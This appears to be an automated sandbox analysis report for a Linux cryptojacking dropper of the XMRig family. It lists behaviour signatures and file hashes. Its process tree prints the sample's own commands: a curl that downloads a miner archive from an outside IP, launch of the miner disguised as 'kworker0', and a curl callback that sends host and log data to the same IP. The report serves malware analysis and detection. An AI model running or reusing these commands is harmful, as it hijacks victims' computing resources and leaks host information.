Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    21/10/2026, 04:33

General

  • Target
    893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
  • Size 779B
  • Sample261021-e6vnbaeb89
  • SHA256 893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Reads CPU attributes 1 TTPs 47 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 24 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
    /tmp/893b72670d26ad39f5ea7be4b2558f938d4de5a30f8025eecdae4b130d4c0379
    1⤵
    • Writes file to tmp directory
    PID:1517
    • /bin/date
      date
      2⤵
        PID:1518
      • /usr/bin/curl
        curl -m 120 -o /tmp/x.tgz http://195.85.114.192/xmrig.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:1519
      • /usr/bin/stat
        stat -c "%s" /tmp/x.tgz
        2⤵
          PID:1527
        • /bin/tar
          tar xzf x.tgz
          2⤵
          • Writes file to tmp directory
          PID:1528
          • /usr/local/sbin/gzip
            gzip -d
            3⤵
              PID:1529
            • /usr/local/bin/gzip
              gzip -d
              3⤵
                PID:1529
              • /usr/sbin/gzip
                gzip -d
                3⤵
                  PID:1529
                • /usr/bin/gzip
                  gzip -d
                  3⤵
                    PID:1529
                  • /sbin/gzip
                    gzip -d
                    3⤵
                      PID:1529
                    • /bin/gzip
                      gzip -d
                      3⤵
                        PID:1529
                    • /bin/mv
                      2⤵
                        PID:1530
                      • /bin/chmod
                        2⤵
                          PID:1531
                        • /bin/sleep
                          2⤵
                            PID:1533
                          • /usr/bin/nohup
                            2⤵
                            • Executes dropped EXE
                            PID:1532
                          • /tmp/kworker0
                            2⤵
                            • Checks hardware identifiers (DMI)
                            • Reads hardware information
                            • Checks CPU configuration
                            • Reads CPU attributes
                            • Enumerates kernel/hardware configuration
                            • Reads runtime system information
                            PID:1532
                          • /bin/grep
                            grep -c kworke
                            2⤵
                              PID:1544
                            • /bin/ps
                              ps aux
                              2⤵
                              • Discovers running processes
                              • Reads CPU attributes
                              • Reads runtime system information
                              PID:1543
                            • /usr/bin/tr
                              tr -d "\"n"
                              2⤵
                                PID:1547
                              • /usr/bin/tail
                                tail -c 400 /tmp/one.log
                                2⤵
                                  PID:1546
                                • /usr/bin/tr
                                  tr "\"" "\"" "\"_\""
                                  2⤵
                                    PID:1549
                                  • /usr/bin/curl
                                    curl -m 8 "http://195.85.114.192/cb?ip=HOST1&log=1 start Wed Oct 21 05:33:39 BST 2026 % Total % Received % Xferd Average Speed Time Time Time Curret Dload Upload Total Spet Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 100 3427k 100 3427k 0 0 7246k 0 --:--:-- --:--:-- --:--:-- 7246k dl rc=0 size=3509741 tar ok lauched procs=17"
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:1550

                                Network

                                      MITRE ATT&CK Enterprise v16

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      one.log

                                      • Path /tmp/one.log
                                      • Size 404B
                                      • SHA256 03e177d72763846f6e2c8bbc52b0a6d848a1f1a5d1a1590362061d37a36212a3
                                      • MD5 SHA1 SHA512 TLSH

                                      one.log

                                      • Path /tmp/one.log
                                      • Size 41B
                                      • SHA256 af8e90aca75752e7d8fd4f31ff107dd55ae3174daf08bcff28564d099a7d49ed
                                      • MD5 SHA1 SHA512

                                      one.log

                                      • Path /tmp/one.log
                                      • Size 358B
                                      • SHA256 a5a78b0e57d16ae94c8a606d1efcefcbe6e43f2db846ed26d83becace06c391f
                                      • MD5 SHA1 SHA512 TLSH

                                      one.log

                                      • Path /tmp/one.log
                                      • Size 379B
                                      • SHA256 4e7c8a909182300dbd1e4a13b177873b28a437192e190046be6f82a055922094
                                      • MD5 SHA1 SHA512 TLSH

                                      one.log

                                      • Path /tmp/one.log
                                      • Size 386B
                                      • SHA256 23b03db45bb5250d80bed0563d287fcbcf81d08f05feb84b9ffefe6b75ffae04
                                      • MD5 SHA1 SHA512 TLSH

                                      x.tgz

                                      • Path /tmp/x.tgz
                                      • Size 3.3MB
                                      • SHA256 b2c88b19699e3d22c4db0d589f155bb89efbd646ecf9ad182ad126763723f4b7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      SHA256SUMS

                                      • Path /tmp/xmrig-6.22.2/SHA256SUMS
                                      • Size 150B
                                      • SHA256 cd4a3226d74b573cbd1af1280543912259d6f0e1f5e59c39848700aa01b95de1
                                      • MD5 SHA1 SHA512 TLSH

                                      config.json

                                      • Path /tmp/xmrig-6.22.2/config.json
                                      • Size 2KB
                                      • SHA256 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec
                                      • MD5 SHA1 SHA512 TLSH

                                      xmrig

                                      • Path /tmp/xmrig-6.22.2/xmrig
                                      • Size 7.0MB
                                      • SHA256 c250a6670ed6acea9b39d95a586d46d5ae490ea17e7d5df49f5144e5b86503fe
                                      • MD5 SHA1 SHA512 SSDEEP TLSH